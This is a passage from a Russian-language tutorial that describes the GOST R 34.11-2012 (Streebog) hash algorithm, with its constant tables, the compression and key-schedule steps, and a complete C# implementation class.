0x59, 0xA6, 0x74, 0xD2, 0xE6, 0xF4, 0xB4, 0xC0, 0xD1, 0x66, 0xAF, 0xC2, 0x39, 0x4B, 0x63, 0xB6
};
3. **P-преобразование.** Функция перестановки. Для каждой пары байт из входной последовательности происходит замена одного байта другим.
Таблица перестановок **τ** также является константой:
**Значение перестановки tau**byte[] Tau={
0, 8, 16, 24, 32, 40, 48, 56,
1, 9, 17, 25, 33, 41, 49, 57,
2, 10, 18, 26, 34, 42, 50, 58,
3, 11, 19, 27, 35, 43, 51, 59,
4, 12, 20, 28, 36, 44, 52, 60,
5, 13, 21, 29, 37, 45, 53, 61,
6, 14, 22, 30, 38, 46, 54, 62,
7, 15, 23, 31, 39, 47, 55, 63
};
4. **L-преобразование.** Представляет собой умножение 64-битного входного вектора на бинарную матрицу **A** размерами 64x64.
Матрицу **A** можно представить как массив 64-битных слов:
**Значение матрицы A**ulong[] A = {
0x8e20faa72ba0b470, 0x47107ddd9b505a38, 0xad08b0e0c3282d1c, 0xd8045870ef14980e,
0x6c022c38f90a4c07, 0x3601161cf205268d, 0x1b8e0b0e798c13c8, 0x83478b07b2468764,
0xa011d380818e8f40, 0x5086e740ce47c920, 0x2843fd2067adea10, 0x14aff010bdd87508,
0x0ad97808d06cb404, 0x05e23c0468365a02, 0x8c711e02341b2d01, 0x46b60f011a83988e,
0x90dab52a387ae76f, 0x486dd4151c3dfdb9, 0x24b86a840e90f0d2, 0x125c354207487869,
0x092e94218d243cba, 0x8a174a9ec8121e5d, 0x4585254f64090fa0, 0xaccc9ca9328a8950,
0x9d4df05d5f661451, 0xc0a878a0a1330aa6, 0x60543c50de970553, 0x302a1e286fc58ca7,
0x18150f14b9ec46dd, 0x0c84890ad27623e0, 0x0642ca05693b9f70, 0x0321658cba93c138,
0x86275df09ce8aaa8, 0x439da0784e745554, 0xafc0503c273aa42a, 0xd960281e9d1d5215,
0xe230140fc0802984, 0x71180a8960409a42, 0xb60c05ca30204d21, 0x5b068c651810a89e,
0x456c34887a3805b9, 0xac361a443d1c8cd2, 0x561b0d22900e4669, 0x2b838811480723ba,
0x9bcf4486248d9f5d, 0xc3e9224312c8c1a0, 0xeffa11af0964ee50, 0xf97d86d98a327728,
0xe4fa2054a80b329c, 0x727d102a548b194e, 0x39b008152acb8227, 0x9258048415eb419d,
0x492c024284fbaec0, 0xaa16012142f35760, 0x550b8e9e21f7a530, 0xa48b474f9ef5dc18,
0x70a6a56e2440598e, 0x3853dc371220a247, 0x1ca76e95091051ad, 0x0edd37c48a08a6d8,
0x07e095624504536c, 0x8d70c431ac02a736, 0xc83862965601dd1b, 0x641c314b2b8ee083
};
#### Функция сжатия
Основным элементом любой хеш-функции является функция сжатия. Опишем используемую в новом стандарте функцию сжатия **gn** в виде алгоритма.
Пусть **h**, **N** и **m** — 512-битные последовательности. Для вычисления функции **g(N, m, h)** необходимо проделать следующие шаги:
1. Вычислить значение **K** = h ⊕ N;
2. Присвоить значение K = S(K);
3. Присвоить значение K = P(K);
4. Присвоить значение K = L(K);
5. Вычислить **t** = E(K, m);
6. Присвоить значение t = h ⊕ t;
7. Вычислить значение **G** = t ⊕ m;
8. Вернуть G в качестве результата вычисления функции g(N, m, h).
Вы наверное заметили, что в описании функции **g(N, m, h)** используется незнакомая функция **E(K, m)**, которая выполняет нижеприведенные действия:
1. Вычислить значение **state** = K ⊕ m;
2. Для i=0 по 11 выполнить:
* Присвоить значение state = S(state);
* Присвоить значение state = P(state);
* Присвоить значение state = L(state);
* Вычислить K=KeySchedule(K, i);
* Присвоить значение state = state ⊕ K;
3. Вернуть **state** в качестве результата.
И опять незнакомое понятие. На этот раз это функция **KeySchedule(K, i)**, отвечающая за формирование временного ключа K на каждом раунде функции E(K, m). Восполним и этот пробел в описании алгоритма. Функция KeySchedule(K, i) производит следующие вычисления:
1. Присвоить значение K = K ⊕ C[i];
2. Присвоить значение K = S(K);
3. Присвоить значение K = P(K);
4. Присвоить значение K = L(K);
5. Вернуть K в качестве результата функции.
Здесь С — это набор 512-битных значений. Значение С является постоянным.
**Значение С**byte[][] C = {
new byte[64]{
0xb1,0x08,0x5b,0xda,0x1e,0xca,0xda,0xe9,0xeb,0xcb,0x2f,0x81,0xc0,0x65,0x7c,0x1f,
0x2f,0x6a,0x76,0x43,0x2e,0x45,0xd0,0x16,0x71,0x4e,0xb8,0x8d,0x75,0x85,0xc4,0xfc,
0x4b,0x7c,0xe0,0x91,0x92,0x67,0x69,0x01,0xa2,0x42,0x2a,0x08,0xa4,0x60,0xd3,0x15,
0x05,0x76,0x74,0x36,0xcc,0x74,0x4d,0x23,0xdd,0x80,0x65,0x59,0xf2,0xa6,0x45,0x07
},
new byte[64]{
0x6f,0xa3,0xb5,0x8a,0xa9,0x9d,0x2f,0x1a,0x4f,0xe3,0x9d,0x46,0x0f,0x70,0xb5,0xd7,
0xf3,0xfe,0xea,0x72,0x0a,0x23,0x2b,0x98,0x61,0xd5,0x5e,0x0f,0x16,0xb5,0x01,0x31,
0x9a,0xb5,0x17,0x6b,0x12,0xd6,0x99,0x58,0x5c,0xb5,0x61,0xc2,0xdb,0x0a,0xa7,0xca,
0x55,0xdd,0xa2,0x1b,0xd7,0xcb,0xcd,0x56,0xe6,0x79,0x04,0x70,0x21,0xb1,0x9b,0xb7
},
new byte[64]{
0xf5,0x74,0xdc,0xac,0x2b,0xce,0x2f,0xc7,0x0a,0x39,0xfc,0x28,0x6a,0x3d,0x84,0x35,
0x06,0xf1,0x5e,0x5f,0x52,0x9c,0x1f,0x8b,0xf2,0xea,0x75,0x14,0xb1,0x29,0x7b,0x7b,
0xd3,0xe2,0x0f,0xe4,0x90,0x35,0x9e,0xb1,0xc1,0xc9,0x3a,0x37,0x60,0x62,0xdb,0x09,
0xc2,0xb6,0xf4,0x43,0x86,0x7a,0xdb,0x31,0x99,0x1e,0x96,0xf5,0x0a,0xba,0x0a,0xb2
},
new byte[64]{
0xef,0x1f,0xdf,0xb3,0xe8,0x15,0x66,0xd2,0xf9,0x48,0xe1,0xa0,0x5d,0x71,0xe4,0xdd,
0x48,0x8e,0x85,0x7e,0x33,0x5c,0x3c,0x7d,0x9d,0x72,0x1c,0xad,0x68,0x5e,0x35,0x3f,
0xa9,0xd7,0x2c,0x82,0xed,0x03,0xd6,0x75,0xd8,0xb7,0x13,0x33,0x93,0x52,0x03,0xbe,
0x34,0x53,0xea,0xa1,0x93,0xe8,0x37,0xf1,0x22,0x0c,0xbe,0xbc,0x84,0xe3,0xd1,0x2e
},
new byte[64]{
0x4b,0xea,0x6b,0xac,0xad,0x47,0x47,0x99,0x9a,0x3f,0x41,0x0c,0x6c,0xa9,0x23,0x63,
0x7f,0x15,0x1c,0x1f,0x16,0x86,0x10,0x4a,0x35,0x9e,0x35,0xd7,0x80,0x0f,0xff,0xbd,
0xbf,0xcd,0x17,0x47,0x25,0x3a,0xf5,0xa3,0xdf,0xff,0x00,0xb7,0x23,0x27,0x1a,0x16,
0x7a,0x56,0xa2,0x7e,0xa9,0xea,0x63,0xf5,0x60,0x17,0x58,0xfd,0x7c,0x6c,0xfe,0x57
},
new byte[64]{
0xae,0x4f,0xae,0xae,0x1d,0x3a,0xd3,0xd9,0x6f,0xa4,0xc3,0x3b,0x7a,0x30,0x39,0xc0,
0x2d,0x66,0xc4,0xf9,0x51,0x42,0xa4,0x6c,0x18,0x7f,0x9a,0xb4,0x9a,0xf0,0x8e,0xc6,
0xcf,0xfa,0xa6,0xb7,0x1c,0x9a,0xb7,0xb4,0x0a,0xf2,0x1f,0x66,0xc2,0xbe,0xc6,0xb6,
0xbf,0x71,0xc5,0x72,0x36,0x90,0x4f,0x35,0xfa,0x68,0x40,0x7a,0x46,0x64,0x7d,0x6e
},
new byte[64]{
0xf4,0xc7,0x0e,0x16,0xee,0xaa,0xc5,0xec,0x51,0xac,0x86,0xfe,0xbf,0x24,0x09,0x54,
0x39,0x9e,0xc6,0xc7,0xe6,0xbf,0x87,0xc9,0xd3,0x47,0x3e,0x33,0x19,0x7a,0x93,0xc9,
0x09,0x92,0xab,0xc5,0x2d,0x82,0x2c,0x37,0x06,0x47,0x69,0x83,0x28,0x4a,0x05,0x04,
0x35,0x17,0x45,0x4c,0xa2,0x3c,0x4a,0xf3,0x88,0x86,0x56,0x4d,0x3a,0x14,0xd4,0x93
},
new byte[64]{
0x9b,0x1f,0x5b,0x42,0x4d,0x93,0xc9,0xa7,0x03,0xe7,0xaa,0x02,0x0c,0x6e,0x41,0x41,
0x4e,0xb7,0xf8,0x71,0x9c,0x36,0xde,0x1e,0x89,0xb4,0x44,0x3b,0x4d,0xdb,0xc4,0x9a,
0xf4,0x89,0x2b,0xcb,0x92,0x9b,0x06,0x90,0x69,0xd1,0x8d,0x2b,0xd1,0xa5,0xc4,0x2f,
0x36,0xac,0xc2,0x35,0x59,0x51,0xa8,0xd9,0xa4,0x7f,0x0d,0xd4,0xbf,0x02,0xe7,0x1e
},
new byte[64]{
0x37,0x8f,0x5a,0x54,0x16,0x31,0x22,0x9b,0x94,0x4c,0x9a,0xd8,0xec,0x16,0x5f,0xde,
0x3a,0x7d,0x3a,0x1b,0x25,0x89,0x42,0x24,0x3c,0xd9,0x55,0xb7,0xe0,0x0d,0x09,0x84,
0x80,0x0a,0x44,0x0b,0xdb,0xb2,0xce,0xb1,0x7b,0x2b,0x8a,0x9a,0xa6,0x07,0x9c,0x54,
0x0e,0x38,0xdc,0x92,0xcb,0x1f,0x2a,0x60,0x72,0x61,0x44,0x51,0x83,0x23,0x5a,0xdb
},
new byte[64]{
0xab,0xbe,0xde,0xa6,0x80,0x05,0x6f,0x52,0x38,0x2a,0xe5,0x48,0xb2,0xe4,0xf3,0xf3,
0x89,0x41,0xe7,0x1c,0xff,0x8a,0x78,0xdb,0x1f,0xff,0xe1,0x8a,0x1b,0x33,0x61,0x03,
0x9f,0xe7,0x67,0x02,0xaf,0x69,0x33,0x4b,0x7a,0x1e,0x6c,0x30,0x3b,0x76,0x52,0xf4,
0x36,0x98,0xfa,0xd1,0x15,0x3b,0xb6,0xc3,0x74,0xb4,0xc7,0xfb,0x98,0x45,0x9c,0xed
},
new byte[64]{
0x7b,0xcd,0x9e,0xd0,0xef,0xc8,0x89,0xfb,0x30,0x02,0xc6,0xcd,0x63,0x5a,0xfe,0x94,
0xd8,0xfa,0x6b,0xbb,0xeb,0xab,0x07,0x61,0x20,0x01,0x80,0x21,0x14,0x84,0x66,0x79,
0x8a,0x1d,0x71,0xef,0xea,0x48,0xb9,0xca,0xef,0xba,0xcd,0x1d,0x7d,0x47,0x6e,0x98,
0xde,0xa2,0x59,0x4a,0xc0,0x6f,0xd8,0x5d,0x6b,0xca,0xa4,0xcd,0x81,0xf3,0x2d,0x1b
},
new byte[64]{
0x37,0x8e,0xe7,0x67,0xf1,0x16,0x31,0xba,0xd2,0x13,0x80,0xb0,0x04,0x49,0xb1,0x7a,
0xcd,0xa4,0x3c,0x32,0xbc,0xdf,0x1d,0x77,0xf8,0x20,0x12,0xd4,0x30,0x21,0x9f,0x9b,
0x5d,0x80,0xef,0x9d,0x18,0x91,0xcc,0x86,0xe7,0x1d,0xa4,0xaa,0x88,0xe1,0x28,0x52,
0xfa,0xf4,0x17,0xd5,0xd9,0xb2,0x1b,0x99,0x48,0xbc,0x92,0x4a,0xf1,0x1b,0xd7,0x20
}
};
#### Вычисление хеш-функции
Теперь опишем процедуру формирования хеш-значения. Для любого входного сообщения M:
1. Присвоить начальные значения внутренних переменных:
* Для хеш-функции с длиной выхода 512 бит: h=iv=0x0064. Для хеш-функции с длиной выхода 256 бит: h=iv=0x0164.
* N = 0512
* Σ = 0512
2. Проверить следующее условие: длина сообщения M<512. Если условие выполняется перейти к пункту 3. В противном случае выполнить последовательность вычислений:
* m — последние 512 бит сообщения M
* h = g(N, m, h)
* N = (N + 512) mod 2512
* Σ = (Σ + m) mod 2512
* Обрезать M, убрав последние 512 бит
* Перейти к шагу 2
3. Произвести дополнение сообщения M до длины в 512 бит по следующему правилу:
m = 0511-|M|||1||M, где |M| — длина сообщения M в битах.
4. Вычислить h = g(N, m, h)
5. Вычислить N = (N + |M|) mod 2512
6. Вычислить Σ = (Σ + m) mod 2512
7. Вычислить h = g(0, h, N)
8. Вычислить h = g(0, h, Σ)
9. Для хеш-функции с длиной выхода в 512 бит возвращаем h в качестве результата. Для функции с длиной выхода 256 бит возвращаем MSB256(h).
Обещанную реализацию алгоритма на C# вы смотрите под спойлером:
**C# класс GOST**
```
class GOST
{
// Matrix A for MixColumns (L) function
private ulong[] A = {
0x8e20faa72ba0b470, 0x47107ddd9b505a38, 0xad08b0e0c3282d1c, 0xd8045870ef14980e,
0x6c022c38f90a4c07, 0x3601161cf205268d, 0x1b8e0b0e798c13c8, 0x83478b07b2468764,
0xa011d380818e8f40, 0x5086e740ce47c920, 0x2843fd2067adea10, 0x14aff010bdd87508,
0x0ad97808d06cb404, 0x05e23c0468365a02, 0x8c711e02341b2d01, 0x46b60f011a83988e,
0x90dab52a387ae76f, 0x486dd4151c3dfdb9, 0x24b86a840e90f0d2, 0x125c354207487869,
0x092e94218d243cba, 0x8a174a9ec8121e5d, 0x4585254f64090fa0, 0xaccc9ca9328a8950,
0x9d4df05d5f661451, 0xc0a878a0a1330aa6, 0x60543c50de970553, 0x302a1e286fc58ca7,
0x18150f14b9ec46dd, 0x0c84890ad27623e0, 0x0642ca05693b9f70, 0x0321658cba93c138,
0x86275df09ce8aaa8, 0x439da0784e745554, 0xafc0503c273aa42a, 0xd960281e9d1d5215,
0xe230140fc0802984, 0x71180a8960409a42, 0xb60c05ca30204d21, 0x5b068c651810a89e,
0x456c34887a3805b9, 0xac361a443d1c8cd2, 0x561b0d22900e4669, 0x2b838811480723ba,
0x9bcf4486248d9f5d, 0xc3e9224312c8c1a0, 0xeffa11af0964ee50, 0xf97d86d98a327728,
0xe4fa2054a80b329c, 0x727d102a548b194e, 0x39b008152acb8227, 0x9258048415eb419d,
0x492c024284fbaec0, 0xaa16012142f35760, 0x550b8e9e21f7a530, 0xa48b474f9ef5dc18,
0x70a6a56e2440598e, 0x3853dc371220a247, 0x1ca76e95091051ad, 0x0edd37c48a08a6d8,
0x07e095624504536c, 0x8d70c431ac02a736, 0xc83862965601dd1b, 0x641c314b2b8ee083
};
// Substitution for SubBytes function
private byte[] Sbox={
0xFC, 0xEE, 0xDD, 0x11, 0xCF, 0x6E, 0x31, 0x16, 0xFB, 0xC4, 0xFA, 0xDA, 0x23, 0xC5, 0x04, 0x4D,
0xE9, 0x77, 0xF0, 0xDB, 0x93, 0x2E, 0x99, 0xBA, 0x17, 0x36, 0xF1, 0xBB, 0x14, 0xCD, 0x5F, 0xC1,
0xF9, 0x18, 0x65, 0x5A, 0xE2, 0x5C, 0xEF, 0x21, 0x81, 0x1C, 0x3C, 0x42, 0x8B, 0x01, 0x8E, 0x4F,
0x05, 0x84, 0x02, 0xAE, 0xE3, 0x6A, 0x8F, 0xA0, 0x06, 0x0B, 0xED, 0x98, 0x7F, 0xD4, 0xD3, 0x1F,
0xEB, 0x34, 0x2C, 0x51, 0xEA, 0xC8, 0x48, 0xAB, 0xF2, 0x2A, 0x68, 0xA2, 0xFD, 0x3A, 0xCE, 0xCC,
0xB5, 0x70, 0x0E, 0x56, 0x08, 0x0C, 0x76, 0x12, 0xBF, 0x72, 0x13, 0x47, 0x9C, 0xB7, 0x5D, 0x87,
0x15, 0xA1, 0x96, 0x29, 0x10, 0x7B, 0x9A, 0xC7, 0xF3, 0x91, 0x78, 0x6F, 0x9D, 0x9E, 0xB2, 0xB1,
0x32, 0x75, 0x19, 0x3D, 0xFF, 0x35, 0x8A, 0x7E, 0x6D, 0x54, 0xC6, 0x80, 0xC3, 0xBD, 0x0D, 0x57,
0xDF, 0xF5, 0x24, 0xA9, 0x3E, 0xA8, 0x43, 0xC9, 0xD7, 0x79, 0xD6, 0xF6, 0x7C, 0x22, 0xB9, 0x03,
0xE0, 0x0F, 0xEC, 0xDE, 0x7A, 0x94, 0xB0, 0xBC, 0xDC, 0xE8, 0x28, 0x50, 0x4E, 0x33, 0x0A, 0x4A,
0xA7, 0x97, 0x60, 0x73, 0x1E, 0x00, 0x62, 0x44, 0x1A, 0xB8, 0x38, 0x82, 0x64, 0x9F, 0x26, 0x41,
0xAD, 0x45, 0x46, 0x92, 0x27, 0x5E, 0x55, 0x2F, 0x8C, 0xA3, 0xA5, 0x7D, 0x69, 0xD5, 0x95, 0x3B,
0x07, 0x58, 0xB3, 0x40, 0x86, 0xAC, 0x1D, 0xF7, 0x30, 0x37, 0x6B, 0xE4, 0x88, 0xD9, 0xE7, 0x89,
0xE1, 0x1B, 0x83, 0x49, 0x4C, 0x3F, 0xF8, 0xFE, 0x8D, 0x53, 0xAA, 0x90, 0xCA, 0xD8, 0x85, 0x61,
0x20, 0x71, 0x67, 0xA4, 0x2D, 0x2B, 0x09, 0x5B, 0xCB, 0x9B, 0x25, 0xD0, 0xBE, 0xE5, 0x6C, 0x52,
0x59, 0xA6, 0x74, 0xD2, 0xE6, 0xF4, 0xB4, 0xC0, 0xD1, 0x66, 0xAF, 0xC2, 0x39, 0x4B, 0x63, 0xB6
};
// Substitution for Transposition (P) function
private byte[] Tau={
0, 8, 16, 24, 32, 40, 48, 56,
1, 9, 17, 25, 33, 41, 49, 57,
2, 10, 18, 26, 34, 42, 50, 58,
3, 11, 19, 27, 35, 43, 51, 59,
4, 12, 20, 28, 36, 44, 52, 60,
5, 13, 21, 29, 37, 45, 53, 61,
6, 14, 22, 30, 38, 46, 54, 62,
7, 15, 23, 31, 39, 47, 55, 63
};
// Constant values for KeySchedule function
private byte[][] C = {
new byte[64]{
0xb1,0x08,0x5b,0xda,0x1e,0xca,0xda,0xe9,0xeb,0xcb,0x2f,0x81,0xc0,0x65,0x7c,0x1f,
0x2f,0x6a,0x76,0x43,0x2e,0x45,0xd0,0x16,0x71,0x4e,0xb8,0x8d,0x75,0x85,0xc4,0xfc,
0x4b,0x7c,0xe0,0x91,0x92,0x67,0x69,0x01,0xa2,0x42,0x2a,0x08,0xa4,0x60,0xd3,0x15,
0x05,0x76,0x74,0x36,0xcc,0x74,0x4d,0x23,0xdd,0x80,0x65,0x59,0xf2,0xa6,0x45,0x07
},
new byte[64]{
0x6f,0xa3,0xb5,0x8a,0xa9,0x9d,0x2f,0x1a,0x4f,0xe3,0x9d,0x46,0x0f,0x70,0xb5,0xd7,
0xf3,0xfe,0xea,0x72,0x0a,0x23,0x2b,0x98,0x61,0xd5,0x5e,0x0f,0x16,0xb5,0x01,0x31,
0x9a,0xb5,0x17,0x6b,0x12,0xd6,0x99,0x58,0x5c,0xb5,0x61,0xc2,0xdb,0x0a,0xa7,0xca,
0x55,0xdd,0xa2,0x1b,0xd7,0xcb,0xcd,0x56,0xe6,0x79,0x04,0x70,0x21,0xb1,0x9b,0xb7
},
new byte[64]{
0xf5,0x74,0xdc,0xac,0x2b,0xce,0x2f,0xc7,0x0a,0x39,0xfc,0x28,0x6a,0x3d,0x84,0x35,
0x06,0xf1,0x5e,0x5f,0x52,0x9c,0x1f,0x8b,0xf2,0xea,0x75,0x14,0xb1,0x29,0x7b,0x7b,
0xd3,0xe2,0x0f,0xe4,0x90,0x35,0x9e,0xb1,0xc1,0xc9,0x3a,0x37,0x60,0x62,0xdb,0x09,
0xc2,0xb6,0xf4,0x43,0x86,0x7a,0xdb,0x31,0x99,0x1e,0x96,0xf5,0x0a,0xba,0x0a,0xb2
},
new byte[64]{
0xef,0x1f,0xdf,0xb3,0xe8,0x15,0x66,0xd2,0xf9,0x48,0xe1,0xa0,0x5d,0x71,0xe4,0xdd,
0x48,0x8e,0x85,0x7e,0x33,0x5c,0x3c,0x7d,0x9d,0x72,0x1c,0xad,0x68,0x5e,0x35,0x3f,
0xa9,0xd7,0x2c,0x82,0xed,0x03,0xd6,0x75,0xd8,0xb7,0x13,0x33,0x93,0x52,0x03,0xbe,
0x34,0x53,0xea,0xa1,0x93,0xe8,0x37,0xf1,0x22,0x0c,0xbe,0xbc,0x84,0xe3,0xd1,0x2e
},
new byte[64]{
0x4b,0xea,0x6b,0xac,0xad,0x47,0x47,0x99,0x9a,0x3f,0x41,0x0c,0x6c,0xa9,0x23,0x63,
0x7f,0x15,0x1c,0x1f,0x16,0x86,0x10,0x4a,0x35,0x9e,0x35,0xd7,0x80,0x0f,0xff,0xbd,
0xbf,0xcd,0x17,0x47,0x25,0x3a,0xf5,0xa3,0xdf,0xff,0x00,0xb7,0x23,0x27,0x1a,0x16,
0x7a,0x56,0xa2,0x7e,0xa9,0xea,0x63,0xf5,0x60,0x17,0x58,0xfd,0x7c,0x6c,0xfe,0x57
},
new byte[64]{
0xae,0x4f,0xae,0xae,0x1d,0x3a,0xd3,0xd9,0x6f,0xa4,0xc3,0x3b,0x7a,0x30,0x39,0xc0,
0x2d,0x66,0xc4,0xf9,0x51,0x42,0xa4,0x6c,0x18,0x7f,0x9a,0xb4,0x9a,0xf0,0x8e,0xc6,
0xcf,0xfa,0xa6,0xb7,0x1c,0x9a,0xb7,0xb4,0x0a,0xf2,0x1f,0x66,0xc2,0xbe,0xc6,0xb6,
0xbf,0x71,0xc5,0x72,0x36,0x90,0x4f,0x35,0xfa,0x68,0x40,0x7a,0x46,0x64,0x7d,0x6e
},
new byte[64]{
0xf4,0xc7,0x0e,0x16,0xee,0xaa,0xc5,0xec,0x51,0xac,0x86,0xfe,0xbf,0x24,0x09,0x54,
0x39,0x9e,0xc6,0xc7,0xe6,0xbf,0x87,0xc9,0xd3,0x47,0x3e,0x33,0x19,0x7a,0x93,0xc9,
0x09,0x92,0xab,0xc5,0x2d,0x82,0x2c,0x37,0x06,0x47,0x69,0x83,0x28,0x4a,0x05,0x04,
0x35,0x17,0x45,0x4c,0xa2,0x3c,0x4a,0xf3,0x88,0x86,0x56,0x4d,0x3a,0x14,0xd4,0x93
},
new byte[64]{
0x9b,0x1f,0x5b,0x42,0x4d,0x93,0xc9,0xa7,0x03,0xe7,0xaa,0x02,0x0c,0x6e,0x41,0x41,
0x4e,0xb7,0xf8,0x71,0x9c,0x36,0xde,0x1e,0x89,0xb4,0x44,0x3b,0x4d,0xdb,0xc4,0x9a,
0xf4,0x89,0x2b,0xcb,0x92,0x9b,0x06,0x90,0x69,0xd1,0x8d,0x2b,0xd1,0xa5,0xc4,0x2f,
0x36,0xac,0xc2,0x35,0x59,0x51,0xa8,0xd9,0xa4,0x7f,0x0d,0xd4,0xbf,0x02,0xe7,0x1e
},
new byte[64]{
0x37,0x8f,0x5a,0x54,0x16,0x31,0x22,0x9b,0x94,0x4c,0x9a,0xd8,0xec,0x16,0x5f,0xde,
0x3a,0x7d,0x3a,0x1b,0x25,0x89,0x42,0x24,0x3c,0xd9,0x55,0xb7,0xe0,0x0d,0x09,0x84,
0x80,0x0a,0x44,0x0b,0xdb,0xb2,0xce,0xb1,0x7b,0x2b,0x8a,0x9a,0xa6,0x07,0x9c,0x54,
0x0e,0x38,0xdc,0x92,0xcb,0x1f,0x2a,0x60,0x72,0x61,0x44,0x51,0x83,0x23,0x5a,0xdb
},
new byte[64]{
0xab,0xbe,0xde,0xa6,0x80,0x05,0x6f,0x52,0x38,0x2a,0xe5,0x48,0xb2,0xe4,0xf3,0xf3,
0x89,0x41,0xe7,0x1c,0xff,0x8a,0x78,0xdb,0x1f,0xff,0xe1,0x8a,0x1b,0x33,0x61,0x03,
0x9f,0xe7,0x67,0x02,0xaf,0x69,0x33,0x4b,0x7a,0x1e,0x6c,0x30,0x3b,0x76,0x52,0xf4,
0x36,0x98,0xfa,0xd1,0x15,0x3b,0xb6,0xc3,0x74,0xb4,0xc7,0xfb,0x98,0x45,0x9c,0xed
},
new byte[64]{
0x7b,0xcd,0x9e,0xd0,0xef,0xc8,0x89,0xfb,0x30,0x02,0xc6,0xcd,0x63,0x5a,0xfe,0x94,
0xd8,0xfa,0x6b,0xbb,0xeb,0xab,0x07,0x61,0x20,0x01,0x80,0x21,0x14,0x84,0x66,0x79,
0x8a,0x1d,0x71,0xef,0xea,0x48,0xb9,0xca,0xef,0xba,0xcd,0x1d,0x7d,0x47,0x6e,0x98,
0xde,0xa2,0x59,0x4a,0xc0,0x6f,0xd8,0x5d,0x6b,0xca,0xa4,0xcd,0x81,0xf3,0x2d,0x1b
},
new byte[64]{
0x37,0x8e,0xe7,0x67,0xf1,0x16,0x31,0xba,0xd2,0x13,0x80,0xb0,0x04,0x49,0xb1,0x7a,
0xcd,0xa4,0x3c,0x32,0xbc,0xdf,0x1d,0x77,0xf8,0x20,0x12,0xd4,0x30,0x21,0x9f,0x9b,
0x5d,0x80,0xef,0x9d,0x18,0x91,0xcc,0x86,0xe7,0x1d,0xa4,0xaa,0x88,0xe1,0x28,0x52,
0xfa,0xf4,0x17,0xd5,0xd9,0xb2,0x1b,0x99,0x48,0xbc,0x92,0x4a,0xf1,0x1b,0xd7,0x20
}
};
private byte[] iv =new byte[64];
private byte[] N =new byte[64];
private byte[] Sigma = new byte[64];
public int outLen = 0;
public GOST(int outputLenght)
{
if (outputLenght == 512)
{
for (int i = 0; i < 64; i++)
{
N[i] = 0x00;
Sigma[i] = 0x00;
iv[i] = 0x00;
}
outLen = 512;
}
else if (outputLenght == 256)
{
for (int i = 0; i < 64; i++)
{
N[i] = 0x00;
Sigma[i] = 0x00;
iv[i] = 0x01;
}
outLen = 256;
}
}
private byte[] AddModulo512(byte[] a, byte[] b)
{
byte[] temp = new byte[64];
int i = 0, t = 0;
byte[] tempA = new byte[64];
byte[] tempB = new byte[64];
Array.Copy(a, 0, tempA, 64 - a.Length, a.Length);
Array.Copy(b, 0, tempB, 64 - b.Length, b.Length);
for (i = 63; i >= 0; i--)
{
t = tempA[i] + tempB[i] + (t >> 8);
temp[i] = (byte)(t & 0xFF);
}
return temp;
}
private byte[] AddXor512(byte[] a, byte[] b)
{
byte[] c = new byte[64];
for (int i = 0; i < 64; i++)
c[i] = (byte)(a[i] ^ b[i]);
return c;
}
private byte[] S(byte[] state)
{
byte[] result = new byte[64];
for (int i = 0; i < 64; i++)
result[i] = Sbox[state[i]];
return result;
}
private byte[] P(byte[] state)
{
byte[] result = new byte[64];
for (int i = 0; i < 64; i++)
{
result[i] = state[Tau[i]];
}
return result;
}
private byte[] L(byte[] state)
{
byte[] result = new byte[64];
for (int i = 0; i < 8; i++)
{
ulong t = 0;
byte[] tempArray = new byte[8];
Array.Copy(state, i * 8, tempArray, 0, 8);
tempArray = tempArray.Reverse().ToArray();
BitArray tempBits1 = new BitArray(tempArray);
bool[] tempBits=new bool[64];
tempBits1.CopyTo(tempBits, 0);
tempBits=tempBits.Reverse().ToArray();
for (int j = 0; j < 64; j++)
{
if (tempBits[j] != false)
t = t ^ A[j];
}
byte[] ResPart = BitConverter.GetBytes(t).Reverse().ToArray();
Array.Copy(ResPart, 0, result, i * 8, 8);
}
return result;
}
private byte[] KeySchedule(byte[] K, int i)
{
K=AddXor512(K, C[i]);
K = S(K);
K = P(K);
K = L(K);
return K;
}
private byte[] E(byte[] K, byte[] m)
{
byte[] state = AddXor512(K, m);
for (int i = 0; i < 12; i++)
{
state=S(state);
state = P(state);
state = L(state);
K=KeySchedule(K, i);
state = AddXor512(state, K);
}
return state;
}
private byte[] G_n(byte[] N, byte[] h, byte[] m)
{
byte[] K = AddXor512(h, N);
K=S(K);
K=P(K);
K=L(K);
byte[] t= E(K, m);
t=AddXor512(t, h);
byte[] newh = AddXor512(t, m);
return newh;
}
public byte[] GetHash(byte[] message)
{
byte[] paddedMes=new byte[64];
int len = message.Length * 8;
byte[] h = new byte[64];
Array.Copy(iv, h, 64);
byte[] N_0 ={
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
};
if (outLen == 512)
{
for (int i = 0; i < 64; i++)
{
N[i] = 0x00;
Sigma[i] = 0x00;
iv[i] = 0x00;
}
}
else if (outLen == 256)
{
for (int i = 0; i < 64; i++)
{
N[i] = 0x00;
Sigma[i] = 0x00;
iv[i] = 0x01;
}
}
byte[] N_512 = BitConverter.GetBytes(512);
int inc = 0;
while (len >= 512)
{
inc++;
byte[] tempMes = new byte[64];
Array.Copy(message, message.Length - inc*64, tempMes, 0, 64);
h=G_n(N, h, tempMes);
N = AddModulo512(N, N_512.Reverse().ToArray());
Sigma=AddModulo512(Sigma, tempMes);
len -= 512;
}
byte[] message1 = new byte[message.Length - inc * 64];
Array.Copy(message, 0, message1, 0, message.Length - inc * 64);
if (message1.Length < 64)
{
for (int i = 0; i < (64 - message1.Length - 1); i++)
{
paddedMes[i] = 0;
}
paddedMes[64 - message1.Length - 1] = 0x01;
Array.Copy(message1, 0, paddedMes, 64 - message1.Length, message1.Length);
}
h=G_n(N, h, paddedMes);
byte[] MesLen = BitConverter.GetBytes(message1.Length * 8);
N = AddModulo512(N, MesLen.Reverse().ToArray());
Sigma = AddModulo512(Sigma, paddedMes);
h = G_n(N_0, h, N);
h = G_n(N_0, h, Sigma);
if (outLen == 512)
return h;
else
{
byte[] h256 = new byte[32];
Array.Copy(h, 0, h256, 0, 32);
return h256;
}
}
}
```
#### Контрольный пример
Вычислим хеш-функцию для массива данных:
